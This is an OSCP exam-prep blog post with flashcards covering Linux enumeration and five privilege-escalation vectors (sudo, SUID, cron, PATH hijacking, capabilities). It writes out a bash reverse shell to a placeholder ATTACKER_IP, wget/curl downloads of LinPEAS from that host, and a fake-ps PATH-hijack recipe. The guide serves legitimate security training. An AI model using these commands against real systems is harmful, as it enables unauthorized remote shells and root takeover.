FlashGenius Logo FlashGenius
Login Sign Up

Linux for OSCP: The Penetration Tester’s Roadmap (2025 Guide)

Master the Linux fundamentals, enumeration workflow, and privilege escalation vectors that dominate the OSCP exam.

Introduction: Why Linux Mastery Is Critical for OSCP

If you’re preparing for the OffSec OSCP certification, your success hinges on one core skill:

👉 You must be fluent in Linux.

Not “I know how to use ls and cd” fluent —
but “I understand how Linux systems work from the ground up” fluent.

Why?

Because 90% of OSCP machines
✔️ run Linux,
✔️ require deep enumeration, and
✔️ demand smart privilege escalation using Linux internals.

This guide breaks down the exact Linux roadmap needed for OSCP—file system fundamentals, quick manual checks, automated scanning, local recon, and the five PrivEsc vectors that appear again and again on exam boxes.

OSCP Linux Command Flashcards
Click each card to reveal a short OSCP-focused explanation or tip.
whoami Current user
Click to show explanation
Prints the username of the current effective user.
OSCP Tip: Compare whoami with id to quickly spot if you already have elevated privileges (e.g., running as root).
id UID, GID & groups
Click to show explanation
Shows your UID, GID, and group memberships.
OSCP Tip: Group membership often reveals PrivEsc routes (e.g., docker, lxd, backup groups).
groups Group memberships
Click to show explanation
Lists all groups the current user belongs to.
OSCP Tip: Extra groups can give access to log files, backups, or services you can abuse.
uname -a Kernel info
Click to show explanation
Displays kernel version and system architecture.
OSCP Tip: Old kernels may hint at kernel-level exploits, but focus on “easy wins” (sudo, SUID, cron) before going that route.
sudo -l Sudo permissions
Click to show explanation
Lists commands the user can run with sudo, and whether a password is required.
OSCP Tip: This is one of the first commands you should run. Any NOPASSWD entry might be an instant root via GTFOBins.
history Command history
Click to show explanation
Shows the shell command history for the current user.
OSCP Tip: Look for passwords, paths to scripts, or admin commands that reveal how the system is used.
chmod +x linpeas.sh Make LinPEAS executable
Click to show explanation
Gives execute permissions to the LinPEAS script.
OSCP Tip: Always verify the script is executable before running it; keep a local copy ready on your attack box.
./linpeas.sh Run LinPEAS
Click to show explanation
Executes LinPEAS to perform deep privilege escalation enumeration.
OSCP Tip: Focus on red and yellow-highlighted findings first—SUID binaries, cron jobs, misconfigurations, and capabilities.
timeout 300 ./linpeas.sh Safe LinPEAS run
Click to show explanation
Runs LinPEAS but stops it after 300 seconds.
OSCP Tip: Prevents long-running scripts from hanging unstable shells or noisy environments.
ss -tuln Listening services
Click to show explanation
Lists TCP/UDP sockets that are listening along with ports and addresses.
OSCP Tip: Use this to find internal services (e.g., local web apps, admin panels) that aren’t exposed externally.
netstat -tuln Alt service list
Click to show explanation
Legacy alternative to ss for listing listening ports and services.
OSCP Tip: Some boxes won’t have ss, so it’s good to know both.
find / -perm -u=s -type f 2>/dev/null Find SUID binaries
Click to show explanation
Searches the entire filesystem for SUID binaries owned by root.
OSCP Tip: Feed interesting SUID binaries into GTFOBins to see if they can be used for privilege escalation.
crontab -l User cron jobs
Click to show explanation
Displays the cron jobs for the current user.
OSCP Tip: Also inspect system cron directories like /etc/cron.* for scripts run as root.
ls -la /etc/cron.* System cron jobs
Click to show explanation
Lists cron-related directories and files with permissions and owners.
OSCP Tip: Writable scripts or directories in cron paths are classic PrivEsc opportunities.
getcap -r / 2>/dev/null Linux capabilities scan
Click to show explanation
Recursively lists files with Linux capabilities set.
OSCP Tip: Dangerous capabilities like CAP_SETUID or CAP_DAC_OVERRIDE can lead directly to root.
echo "/bin/bash" > /tmp/ps Fake ps binary
Click to show explanation
Creates a fake ps binary that simply launches /bin/bash.
OSCP Tip: Used in PATH hijacking when a root script calls ps without absolute path.
chmod +x /tmp/ps Make fake binary executable
Click to show explanation
Grants execute permission to the fake ps file.
OSCP Tip: Always ensure your hijacked binary is executable before relying on it for PrivEsc.
export PATH=/tmp:$PATH PATH hijack
Click to show explanation
Prepends /tmp to the PATH so the fake binary is used first.
OSCP Tip: If a root cron job or script uses bare commands (like ps), this technique can give you a root shell.
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 Reverse shell
Click to show explanation
Creates a Bash reverse shell connecting back to your attack machine.
OSCP Tip: Replace ATTACKER_IP and PORT with your listener details from nc or rlwrap nc.
python3 -c 'import pty; pty.spawn("/bin/bash")' Shell upgrade
Click to show explanation
Upgrades a simple shell to a pseudo-TTY Bash shell.
OSCP Tip: Do this right after you get a shell. A proper TTY makes sudo, su, and interactive tools much easier to use.
python3 -m http.server 80 Simple web server
Click to show explanation
Starts a basic HTTP server in the current directory on port 80.
OSCP Tip: Use this on your attack box to serve LinPEAS, scripts, and binaries to the target machine.
wget http://ATTACKER_IP/linpeas.sh Download via wget
Click to show explanation
Downloads linpeas.sh from your attack machine using wget.
OSCP Tip: If wget is missing, try curl or other transfer techniques like nc or base64 copy-paste.
curl http://ATTACKER_IP/linpeas.sh -o linpeas.sh Download via curl
Click to show explanation
Uses curl to download linpeas.sh and save it locally.
OSCP Tip: Always verify permissions (chmod +x) after downloading scripts before execution.

🌲 1. Linux Fundamentals: Know Your Terrain

Before you escalate privileges or compromise a system, you need to understand its structure.

📁 The Linux File System Hierarchy (FHS)

Get comfortable with these directories—their purpose often reveals attack opportunities.

Directory

What It Contains

/etc

System-wide configuration files (“the brain”)

/home

User personal directories

/root

Special home directory for the root user

/var

Variable data like logs (e.g., /var/log)

/tmp

Temporary files; world-writable → often privilege-escalation gold

/bin & /sbin

Essential system binaries and admin tools

/boot

Kernel and bootloader files

Understanding these directories helps you quickly identify misconfigurations, logs, sensitive data, and binary permissions.


🔐 Critical Authentication Files

Two files matter more than any others during Linux PrivEsc:

/etc/passwd

  • World-readable

  • Stores: usernames, UIDs, shells, comments

  • If you see a real hash here → major vulnerability

/etc/shadow

  • Root-only

  • Stores encrypted password hashes

  • If readable → instant root

Memorize these two — they appear in nearly every OSCP box.


👁️ 2. OSCP Workflow: Enumeration Is Everything

The #1 OSCP rule:

If you fail PrivEsc, it’s because you failed enumeration.

Your process should always follow the same structure:


🕒 Phase 1: Initial Manual Checks (First 20 Minutes)

These quick commands reveal:
✔️ who you are
✔️ what you can access
✔️ your environment
✔️ your privilege boundaries

Run immediately:

whoami
id
groups
uname -a
sudo -l
history

Critical First Check

sudo -l

This single command has given countless OSCP students full root.


🔎 Phase 2: Automated Comprehensive Scan

Use LinPEAS for deep, structured enumeration.

chmod +x linpeas.sh
./linpeas.sh

Pro Tip: Use a timeout so the script doesn’t hang.

timeout 300 ./linpeas.sh

🔥 Key Strategy

Look for anything highlighted in red or yellow:

  • SUID binaries

  • Cron jobs

  • World-writable paths

  • PATH hijacking opportunities

  • Linux capabilities

LinPEAS will literally point you toward the PrivEsc vector.


🌐 Phase 3: Local Network Recon

Many OSCP boxes require pivoting through local services.

Check listening services:

ss -tuln

or

netstat -tuln

Focus:

  • Internal admin panels

  • Local-only web services

  • Misconfigured daemons

  • PrivEsc attack surfaces


3. The Top 5 Privilege Escalation Vectors (OSCP 2025)

Master these five, and you'll root almost every exam machine.


1. Sudo Abuse

If you can run any binary with sudo (even without a password), check GTFOBins:

👉 https://gtfobins.github.io/

Often exploited through:

  • awk

  • vim

  • find

  • python

  • less

  • tar


2. SUID/SGID Binaries

Identify binaries with root permissions:

find / -perm -u=s -type f 2>/dev/null

Common exploitable binaries include:

  • nmap

  • vim

  • bash

  • cp

  • find

Again, GTFOBins is your best friend.


3. Insecure Cron Jobs

Look for scripts run by root on a schedule:

crontab -l
ls -la /etc/cron.*

Exploit when:

  • The script is writable

  • The directory is writable

  • The script calls external commands using relative paths


4. PATH Hijacking

If a script calls a binary without using absolute paths, you can hijack execution.

Technique:

echo "/bin/bash" > /tmp/ps
chmod +x /tmp/ps
export PATH=/tmp:$PATH

When root’s cron runs ps, you get root.


5. Linux Capabilities

Check for binaries with granular capabilities:

getcap -r / 2>/dev/null

Dangerous capabilities include:

  • CAP_SYS_ADMIN

  • CAP_DAC_OVERRIDE

  • CAP_SETUID

  • CAP_CHOWN

Misconfigured capabilities → instant PrivEsc.


🧰 4. The Pentester’s Toolkit (Must-Know Commands)

📞 Getting a Reverse Shell

bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

🐍 Stabilizing the Shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

📦 Transferring Files

From your machine:

python3 -m http.server 80

On the target:

wget http://ATTACKER_IP/linpeas.sh

or:

curl http://ATTACKER_IP/linpeas.sh -o linpeas.sh

🗻 5. Your Most Important Resource: GTFOBins

GTFOBins is a curated list of Linux binaries that can be abused for:

✔️ Sudo PrivEsc
✔️ SUID PrivEsc
✔️ File read/write
✔️ Reverse shells
✔️ Capability abuse

Use it on every OSCP machine.


🎯 Final Thoughts: Master Linux, Master OSCP

Becoming OSCP-ready is not about guessing exploits. It’s about:

✔️ understanding Linux deeply
✔️ performing structured enumeration
✔️ recognizing PrivEsc patterns
✔️ staying calm and methodical under pressure

This roadmap covers every major Linux topic you need to pass OSCP—and every item on this list appears repeatedly across OSCP labs and exam machines.


About FlashGenius

FlashGenius is your AI-powered certification prep platform offering practice tests, micro-lessons, lab-style training, and cheat sheets for cybersecurity certifications like GSEC, GCFA, Security+, CCNA, BCBA, AWS, Azure, and more.
We focus on scenario-based learning, smart question generation, and interactive study tools that help you learn faster, remember better, and pass confidently.

Explore hundreds of free resources at:
👉 https://FlashGenius.net

Related Reading · OSCP

OSCP Certification: Ultimate 2025 Guide to Passing OSCP

Planning your OSCP journey? This step-by-step 2025 guide breaks down skills you need, lab strategy, reporting tips, and a realistic study plan so you don’t waste time on the wrong topics.

  • Core OSCP skills and tools to master
  • Practical lab & exam-day strategies
  • Suggested 30–90 day study roadmap
Read the OSCP 2025 Guide